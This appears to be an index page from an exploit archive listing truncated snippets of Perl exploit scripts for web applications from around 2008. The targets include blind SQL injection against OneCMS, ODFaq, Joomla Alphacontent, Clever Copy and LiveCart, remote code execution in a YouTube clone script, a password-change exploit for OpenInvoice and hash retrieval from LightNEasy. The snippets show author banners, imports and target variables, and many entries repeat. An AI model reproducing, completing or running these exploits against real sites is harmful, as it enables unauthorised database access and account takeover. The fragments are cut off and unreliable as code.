onecms25-sql.txt

!/usr/bin/perl OneCMS 2.5 Remote Blind SQL Injection Exploit Author : Cod3rZ Site : http://cod3rz.helloweb.eu Site : http://devilsnight.altervista.org Usage : perl oc.pl site There's many other bugs, find them yourself use LWP::UserAgent; use HTTP::Request::Common; use Time::HiRes; $ua =...

OneCMS 2.5 Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================= OneCMS 2.5 Remote Blind SQL Injection Exploit ============================================= !/usr/bin/perl OneCMS 2.5 Remote Blind SQL Injection Exploit Author : Cod3rZ Usage : perl oc.pl site...

iGaming CMS 1.5 - poll_vote.php SQL Injection

iGaming CMS 1.5 - pollvote.php SQL Injection source: https://www.securityfocus.com/bid/29059/info iGaming CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to...

odfaq-blindsql.txt

!/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $cat = shift; $nonfind = shift; choose anything thats inside the cat $column = "username"; change if needet $table = "odfaquser"; chan...

ODFaq 2.1.0 Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $cat = shift; $nonfind = shift; choose anything thats inside the cat $column = "username"; change i...

Joomla Component com_alphacontent Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $id = shift; $nonfind = shift; choose anything thats inside the article of id $column = "username";...

Joomla! Component Alphacontent 2.5.8 - Blind SQL Injection

!/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $id = shift; $nonfind = shift; choose anything thats inside the article of id $column = "username"; change if needet $table =...

ODFaq 2.1.0 - Blind SQL Injection

!/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $cat = shift; $nonfind = shift; choose anything thats inside the cat $column = "username"; change if needet $table = "odfaquser"; chan...

ODFaq 2.1.0 - Blind SQL Injection

ODFaq 2.1.0 - Blind SQL Injection !/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $cat = shift; $nonfind = shift; choose anything thats inside the cat $column = "username"; change if...

Joomla! Component Alphacontent 2.5.8 - Blind SQL Injection

Joomla! Component Alphacontent 2.5.8 - Blind SQL Injection !/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $id = shift; $nonfind = shift; choose anything thats inside the article of ...

Clever Copy 3.0 (postview.php) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Clever Copy 'postview.php' SQL Injection Vulnerable Exploit Coded By U238 | Web - Designer Solutions Developer Thank you joss My Friends : ka0x - Marco Almeida - TheBekiR - fahn - Teyfik Cevik - Nettoxic - Caborz http://noexec.blogspot.com print...

Clever Copy 3.0 - postview.php SQL Injection

Clever Copy 3.0 - postview.php SQL Injection !/usr/bin/perl Clever Copy 'postview.php' SQL Injection Vulnerable Exploit Coded By U238 | Web - Designer Solutions Developer Thank you joss My Friends : ka0x - Marco Almeida - TheBekiR - fahn - Teyfik Cevik - Nettoxic - Caborz http://noexec.blogspot.c...

Clever Copy 3.0 - 'postview.php' SQL Injection

!/usr/bin/perl Clever Copy 'postview.php' SQL Injection Vulnerable Exploit Coded By U238 | Web - Designer Solutions Developer Thank you joss My Friends : ka0x - Marco Almeida - TheBekiR - fahn - Teyfik Cevik - Nettoxic - Caborz http://noexec.blogspot.com print...

youtubeclone-exec.txt

!/usr/bin/perl inphex /siteadmin/spages.php include"../include/config.php"; include"../include/function.php"; if$REQUEST'update' $filepath = $config'BASEDIR'."/templates/".$REQUEST'page'; iffileexists$filepath $handle = fopen$config'BASEDIR'."/templates/".$REQUEST'page', "w";...

YouTube Clone Script - 'spages.php' Remote Code Execution

!/usr/bin/perl inphex /siteadmin/spages.php include"../include/config.php"; include"../include/function.php"; if$REQUEST'update' $filepath = $config'BASEDIR'."/templates/".$REQUEST'page'; iffileexists$filepath $handle = fopen$config'BASEDIR'."/templates/".$REQUEST'page', "w";...

openinvoice-passwd.txt

!/usr/bin/perl OpenInvoice 0.9 Arbitrary Change User Password Exploit Discovered && Coded By t0pP8uZz Discovered On: 18 April 2008 Vendor has not been notified! see exploit for more details.. Greetz: milw0rm.com, h4ck-y0u.org, CipherCrew! use strict; use LWP::UserAgent; use HTTP::Cookies; print...

OpenInvoice 0.9 Arbitrary Change User Password Exploit

No description provided by source. !/usr/bin/perl OpenInvoice 0.9 Arbitrary Change User Password Exploit Discovered && Coded By t0pP8uZz Discovered On: 18 April 2008 Vendor has not been notified! see exploit for more details.. Greetz: milw0rm.com, h4ck-y0u.org, CipherCrew! use strict; use...

1024 CMS <= 1.4.2 Local File Inclusion / Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ==================================================================== 1024 CMS = 1.4.2 Local File Inclusion / Blind SQL Injection Exploit ==================================================================== Author: GiReX Date: 13/04/2008 CM...

lightneasy-hash.txt

Author: GiReX mySite: girex.altervista.org Date: 10/04/08 CMS: LightNEasy 1.2 no database Site: lightneasy.org Bug: Hash Disclosure Exploit: Remote Hash Retrieve Bug Explanation: LightNEasy/lightneasy.php if$GET'do'!="login" && $GET'do'!="sitemap" && $SESSION$set'password' != "1" unset$GET'do';...

LiveCart 1.1.1 - 'id' Blind SQL Injection

!/usr/bin/perl -w use LWP::UserAgent; ----------------------------------------------------------------------------------------------- scripts : livecart Remote Blind Sql Injection scripts site : http://www.livecart.com Discovered By : irvian site : http://irvian.cn forum : http://noscan.info/foru...